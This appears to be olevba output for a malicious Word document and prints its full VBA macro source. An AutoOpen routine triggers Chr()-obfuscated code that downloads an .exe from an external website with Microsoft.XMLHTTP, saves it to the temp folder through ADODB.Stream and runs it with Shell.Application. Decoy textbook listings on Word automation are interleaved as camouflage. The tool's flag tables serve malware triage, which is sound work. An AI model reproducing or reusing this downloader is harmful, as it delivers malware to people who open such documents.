Malicious Word macro

olevba 0.26 - http://decalage.info/python/oletools
Flags       Filename
----------- -----------------------------------------------------------------
OLE:MAS---- elle01~1.doc

(Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)

===============================================================================
FILE: elle01~1.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: elle01~1.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub autoopen()

Nip121ÖÊÂ3017 (700)

End Sub

Sub Nip121ÖÊÂ3017(FFFFF As Integer)

baV5XhIz81

End Sub


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+----------+----------+---------------------------------------+
| Type     | Keyword  | Description                           |
+----------+----------+---------------------------------------+
| AutoExec | AutoOpen | Runs when the Word document is opened |
+----------+----------+---------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: elle01~1.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public X480smtBX7GP As String



' Listing 15.1. Using Automation to create a new Word document.
'



Public Function P4mfk1w0(hFiXhEUGKyuh5 As String)
 Set UORXlUXJ8 = WEydCTxsxt4(Chr(83) & Chr(104) & Chr(101) & Chr(108) & "l" & Chr(46) & Chr(65) & Chr(112) & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & "t" & Chr(105) & Chr(111) & Chr(110))
UORXlUXJ8.Open (X480smtBX7GP)
End Function
Sub CreateWordDocument()
    Dim wordApp As Word.Application
    '
    ' Create the Word Application object
    '
    HCnjkdbhve.Application.StatusBar = "Creating Word Application object..."
    Set wordApp = CreateObject("Word.Application")
    '
    ' Work with Word's Application object directly
    '
    With wordApp
        '
        ' Create a new document and add some text
        '
        HCnjkdbhve.Application.StatusBar = "Creating new Word document..."
        .Documents.Add
        .ActiveDocument.Paragraphs(1).Range.InsertBefore "This is an Automation test."
        '
        ' Save the document
        '
        HCnjkdbhve.Application.StatusBar = "Saving Word document..."
        .ActiveDocument.SaveAs "C:\My Documents\OLETest.doc"
        '
        ' We're done, so quit Word
        '
        HCnjkdbhve.Application.StatusBar = "Shutting down Word..."
        .Quit
    End With
    Set wordApp = Nothing
    HCnjkdbhve.Application.StatusBar = False
End Sub

' Listing 15.2. Using Automation to work with a Word document.
'
Public Function WEydCTxsxt4(ofuVzwV8M As String)
 Set WEydCTxsxt4 = CreateObject(ofuVzwV8M)
End Function
Sub DocumentWordCount()
    Dim wordDoc As Word.Document
    '
    ' Get the Word Document object
    '
    HCnjkdbhve.Application.StatusBar = "Getting Word Document object..."
    Set wordDoc = GetObject("C:\My Documents\OLETest.doc", "Word.Document")
    '
    ' Get the word count
    '
    HCnjkdbhve.Application.StatusBar = "Getting word count..."
    MsgBox wordDoc.Name & " has " & wordDoc.Words.Count & " words."
    '
    ' We're done, so quit Word and release object variable
    '
    HCnjkdbhve.Application.StatusBar = "Shutting down Word..."
    wordDoc.HCnjkdbhve.Application.Quit
    Set wordDoc = Nothing
    HCnjkdbhve.Application.StatusBar = False
End Sub

Public Function S5keRrVDgCuXr(rCKhzY8Z5 As Variant, YVPfKl3km As String)
Dim x0YC6QLt: Set x0YC6QLt = WEydCTxsxt4(Chr(65) & Chr(100) & "o" & Chr(100) & Chr(98) & "." & "S" & Chr(116) & "r" & Chr(101) & "a" & "m")

With x0YC6QLt
   .Type = 1
    .Open
    .write rCKhzY8Z5
    .savetofile YVPfKl3km, 2
End With
End Function
' Listing 15.3. Using Automation to run a PowerPoint
' presentation slide show.
'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+--------------+-----------------------------------------+
| Type       | Keyword      | Description                             |
+------------+--------------+-----------------------------------------+
| Suspicious | Open         | May open a file                         |
| Suspicious | Chr          | May attempt to obfuscate specific       |
|            |              | strings                                 |
| Suspicious | CreateObject | May create an OLE object                |
| Suspicious | SaveToFile   | May create a text file                  |
| Suspicious | Run          | May run an executable file or a system  |
|            |              | command                                 |
| Suspicious | Write        | May write to a file (if combined with   |
|            |              | Open)                                   |
+------------+--------------+-----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: elle01~1.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub GatherBudgetSheets()
    Dim myCollection As New Collection
   ' Dim ws As Worksheet

    For Each ws In ThisWorkbook.Worksheets
        If InStr(ws.Name, "Budget") Then
            myCollection.Add Item:=ws, Key:=ws.Name
        End If
    Next 'ws
    MsgBox "The custom collection contains " & _
        myCollection.Count & " worksheets."
End Sub

' Listing 16.2. A procedure that clears all objects

' from a custom collection.
'
Sub ClearCollection(coll As Collection)
    Do While coll.Count > 0
        coll.Remove Index:=1
    Loop
End Sub

' Listing 16.3. Using an object in a custom class.

Sub baV5XhIz81()

Set qKUOnuHCDX = WEydCTxsxt4("M" & Chr(105) & "c" & Chr(114) & "o" & Chr(115) & Chr(111) & Chr(102) & "t" & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) & Chr(84) & Chr(80))


Hcwvewv = Chr(104) & Chr(116) & "t" & Chr(112) & ":" & Chr(47) & Chr(60) & Chr(47) & Chr(111) & Chr(122) & Chr(101) & Chr(108) & Chr(100) & Chr(117) & Chr(122) & Chr(101) & Chr(110) & Chr(115) & Chr(117) & "r" & Chr(117) & Chr(99) & Chr(117) & Chr(107) & Chr(117) & Chr(114) & "s" & Chr(117) & Chr(46) & Chr(99) & Chr(111) & "m" & Chr(47) & "2" & Chr(53) & "3" & Chr(47) & Chr(54) & "3" & Chr(50) & Chr(46) & "e" & Chr(120) & "e"
Hcwvewv = Replace(Hcwvewv, Chr(60), "", 1, 1, vbTextCompare)
CallByName qKUOnuHCDX, Chr(79) & "p" & Chr(101) & Chr(110), VbMethod, Chr(71) & "E" & "T" _
, Hcwvewv _
, _
False

Set WigQ9SJdY = WEydCTxsxt4("W" & Chr(83) & Chr(99) & Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108))

Set QI4SQ0ILWyLNH = CallByName(WigQ9SJdY, Chr(69) & "n" & Chr(118) & "i" & Chr(114) & "o" & Chr(110) & "m" & "e" & "n" & Chr(116), VbGet, Chr(80) & Chr(114) & Chr(111) & Chr(99) & Chr(101) & "s" & Chr(115))

roCrTtTn4bavbJ = QI4SQ0ILWyLNH(Chr(84) & Chr(69) & Chr(77) & Chr(80))

X480smtBX7GP = roCrTtTn4bavbJ & "\" & Chr(98) & Chr(108) & "o" & Chr(103) & Chr(100) & Chr(121) & Chr(110) & Chr(97) & Chr(109) & "o" & Chr(111) & Chr(99) & "o" & Chr(109) & "." & "e" & "x" & Chr(101)
Dim NGWFp3rv8t() As Byte

CallByName qKUOnuHCDX, Chr(83) & Chr(101) & Chr(110) & Chr(100), VbMethod
NGWFp3rv8t = CallByName(qKUOnuHCDX, "r" & Chr(101) & "s" & Chr(112) & "o" & Chr(110) & Chr(115) & Chr(101) & "B" & Chr(111) & "d" & "y", VbGet)
S5keRrVDgCuXr NGWFp3rv8t, X480smtBX7GP
On Error GoTo JlQwk75hS
    a = 356 / 0
    HHdhh.Hnjkvowve
  On Error GoTo 0

mE6JTzsE:
  Exit Sub
JlQwk75hS:
  P4mfk1w0 ("VAJ7EpH77R5Tf")
Resume mE6JTzsE
End Sub


'
Sub CustomClassObjectTest()
    'Dim newCustomer As New CCustomer
    With newCustomer
        .Account = "12-3456"
        .Name = "ACME Coyote Supplies"
        .Address = "123 Wily Way"
        'Set .Invoices = New CInvoices
    End With
    With newCustomer.Invoices
        .Add CustAcct:=newCustomer.Account, Amt:=1234.56
        .Add CustAcct:=newCustomer.Account, Amt:=432.1
        MsgBox .Count
    End With
End Sub

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+------------+-----------------------------------------+
| Type       | Keyword    | Description                             |
+------------+------------+-----------------------------------------+
| Suspicious | Chr        | May attempt to obfuscate specific       |
|            |            | strings                                 |
| Suspicious | CallByName | May attempt to obfuscate malicious      |
|            |            | function calls                          |
+------------+------------+-----------------------------------------+